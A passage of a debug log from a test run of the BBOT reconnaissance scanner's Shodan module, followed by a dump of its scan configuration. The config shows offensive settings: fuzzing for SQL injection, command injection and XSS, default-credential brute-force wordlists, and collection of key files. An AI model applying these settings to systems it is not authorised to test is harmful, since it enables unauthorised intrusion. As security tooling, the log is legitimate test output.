bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:31:27,597 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:31:27,597 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:31:27,597 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:31:27,597 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:31:27,598 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:31:27,598 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 21:31:27,750 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_slcbmhl9bw -2026-02-27 21:31:27,750 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 21:31:27,870 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 21:31:27,870 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 21:31:27,871 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 21:31:27,873 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 21:31:27,972 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 21:31:27,973 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 21:31:27,974 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 21:31:27,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:27,976 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:31:27,977 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:27,978 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:31:27,978 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:27,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:27,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:31:27,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:27,984 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:31:27,984 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:27,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:27,987 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 21:31:27,991 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:27,991 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:31:27,992 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:27,992 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:27,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 21:31:27,993 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 21:31:27,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 21:31:27,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:31:27,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:27,997 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 21:31:28,107 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None -2026-02-27 21:31:28,108 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. -2026-02-27 21:31:28,110 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:31:28,111 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 21:31:28,112 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:31:28,112 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 21:31:28,113 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:31:28,113 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 21:31:28,115 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 21:31:28,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 21:31:28,116 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 21:31:28,116 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 21:31:28,117 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 21:31:28,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 21:31:28,118 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 21:31:28,218 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 21:31:28,219 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 21:31:28,237 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 21:31:28,238 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 21:31:28,238 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 21:31:28,245 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 21:31:28,245 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 21:31:28,246 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 21:31:28,247 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 21:31:28,248 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:31:28,249 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:31:28,390 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_slcbmhl9bw completed in 0 seconds with status FINISHED -2026-02-27 21:31:28,390 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 21:31:28,391 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:31:28,393 [CRITICAL] bbot test_module_shodan_enterprise.py:21 SCAN -2026-02-27 21:31:28,394 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_enterprise_test_slcbmhl9bw', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_slcbmhl9bw', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_slcbmhl9bw'}, 'started_at': '2026-02-27T21:31:27.598455', 'status': 'RUNNING'} -2026-02-27 21:31:28,396 [CRITICAL] bbot test_module_shodan_enterprise.py:25 set() -2026-02-27 21:31:28,397 [CRITICAL] bbot test_module_shodan_enterprise.py:27 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:28,398 [CRITICAL] bbot test_module_shodan_enterprise.py:21 IP_ADDRESS -2026-02-27 21:31:28,399 [CRITICAL] bbot test_module_shodan_enterprise.py:23 1.2.3.4 -2026-02-27 21:31:28,399 [CRITICAL] bbot test_module_shodan_enterprise.py:25 {'ipv4', 'target', 'in-scope'} -2026-02-27 21:31:28,400 [CRITICAL] bbot test_module_shodan_enterprise.py:27 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:28,402 [CRITICAL] bbot test_module_shodan_enterprise.py:21 SCAN -2026-02-27 21:31:28,402 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_enterprise_test_slcbmhl9bw', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_slcbmhl9bw', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 